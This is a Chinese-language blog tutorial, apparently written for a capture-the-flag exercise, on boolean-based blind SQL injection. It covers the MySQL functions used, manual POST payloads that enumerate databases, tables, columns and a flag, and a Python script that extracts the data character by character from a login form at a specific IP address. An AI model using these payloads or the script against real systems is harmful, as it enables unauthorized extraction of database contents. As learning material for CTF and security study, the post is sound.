布尔盲注基础知识

布尔盲注基础知识

布尔盲注利用前提:页面没有显示位,没有输出SQL语句执行错误,只能通过页面返回正常不正常来判断是否存在注入。

布尔盲注常用的一些函数及语句

常用函数

substr(string, a, b)
#a表示初始位置,b表示截取的个数,从1开始计数
length(string)
#返回string的长度
ascii(s)
#返回字符的ascii值
count(column_name)
#返回指定列的值的数目
limit(a, b)
#限制查询结果的返回数量,a为起始位置,从0开始,b为查询数量

相关语句

(select count(schema_name) from information_schema.schemata)>n

该语句用于判断数据库的个数,个数大于n回显正常。

(select length(schema_name) from information_schema.schemata limit a, b)>n

该语句用于判断数据库名有多少字符,字符数大于n回显正常。

(select ascii(substr(select schema_name from information_schema.schemata limit a, b), c, d))>n

该语句用于判断数据库的字符是什么,该字符的ascii值大于n时回显正常。

(length((select table_name from information_schema.tables where table_schema=database() limit a, b))=n)

该语句用于判断该数据库下的表长,表长为n时回显正常。

(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a, b), c, d))>n)

该语句用于判断该数据库下的表名的字符是什么,字符对应的ascii值大于n时回显正常。

(length((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b))=n)

该语句用于判断该数据库下的表下的字段的长度,长度为n时回显正常。

(ascii(substr((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b), c, d))>n)

该语句用于判断该数据库下的表下的字段的字符是什么,字符对应的ascii值大于n时回显正常。

(length((select fllllllag from flag.fllag limit a, b))=n)

该语句用于判断该数据库下的表下的字段下的数据的长度,长度为n时回显正常。

(ascii(substr((select fllllllag from flag.fllag  limit a, b), c, d))>n)

该语句用于判断该数据库下的表下的字段的数据对应的字符是什么,字符对应的ascii值大于n时回显正常。

一道简单例题


打开后进入一个登陆界面,尝试用万能密码绕过,弹出:

得知这是正确的回显。
随便输入一个账号密码

得知这是错误的回显。
传值的方式为post,可以构建SQL语句。

手动注入

手动注入实在是太麻烦了,还伤眼睛,我手动注入了两小时还注入错了,但是这里还是写出来。

猜库

猜库的个数
post值uname=admin&pwd=' or (select count(schema_name) from information_schema.schemata)>n#

发现当n=5时返回正常,n=6时返回错误
即有6个数据库

猜库名的长度
post值uname=admin&pwd=' or (select length(schema_name) from information_schema.schemata limit a, b)>n#
猜库名
post值uname=admin&pwd=' or (ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)), a, 1)))>n#

猜测每一位的字母是什么
然后发现有一个flag库

猜表

猜表长
post值uname=admin&pwd=' or  (length((select table_name from information_schema.tables where table_schema=database() limit a, b))=n)#
猜表名
post值uname=admin&pwd=' or  (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a, b), c, d))>n)#

猜测每一位的字母是什么
发现有fllag

猜字段

猜字段长
post值uname=admin&pwd=' or (length((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b))=n)#
猜字段名
post值uname=admin&pwd=' or (ascii(substr((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b), c, d))>n)#

猜数据

猜数据长
post值uname=admin&pwd=' or (length((select fllllllag from flag.fllag limit a, b))=n)#
猜数据名
post值uname=admin&pwd=' or (ascii(substr((select fllllllag from flag.fllag  limit a, b), c, d))>n)#

即可获得flag。

burpsuite半自动化注入

利用burpsuite抓包后可以利用intruder模块来进行爆破,将上文的payload附在请求头后,即可利用burpsuite的爆破功能来实现自动爆破,最后可根据返回的长度来确定爆破结果(还没有尝试)

脚本盲注

在经历了两小时的折磨之后,寻找了大佬SilentE寻求帮助,他介绍了一种神奇的东西叫做脚本,由于本人对python语法基本处于一窍不通的阶段,于是恬不知耻的要求与SilentE大佬进行了某些交易,下面放出大佬的脚本

import requests
#uname:admin
Fs = "wrong"
Ts = "123456"
url = "http://47.100.242.70:4339/index.php"


def SQL_injection(url) :
    res = ""

    for i in range(1,2000) :
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right) :
            payload_database = "admin'^(ord(substr((select(database())),%d,1))>%d)^'1'='1" % (i, mid)
            payload_all_database = "admin'^((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)^'1'='1" % (i, mid)
            payload_table = "admin'^((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='babysql')),%d,1)))>%d)^'1'='1" % (i, mid)
            payload_cloumn = "admin'^((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='jeff')),%d,1)))>%d)^'1'='1" % (i, mid)
            payload_info = "admin'^((ord(substr((select(group_concat(fllllllag))from(flag.fllag)),%d,1)))>%d)^'1'='1" % (i, mid)
            payload = payload_cloumn
            data = {"uname" : payload, "pwd" : "123456", "wp-submit" : "%E7%99%BB%E5%BD%95"}
            #urls = url + payload
            resp = requests.post(url = url, data = data)
            if Ts in resp.text :
                left = mid + 1
            else :
                right = mid
            mid = (left + right) // 2
        if (mid == 32) :
            break
        res += chr(mid)
    print(res)

if __name__ == "__main__" :
    #data = {"uname" : "admin'^(ord(substr((select(database())),1,1))=60)^'1'='1", "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"}
    #resp = requests.post(url = url, data = data)
    #print(resp.text)
    SQL_injection(url)

其中的ord函数和ascii函数的本质是相同的。

参考:
https://www.cnblogs.com/linuxsec/articles/11742311.html
SilentE大佬的鼎力支持!

posted @ 2021-11-26 23:42  king_kb  阅读(379)  评论(0编辑  收藏  举报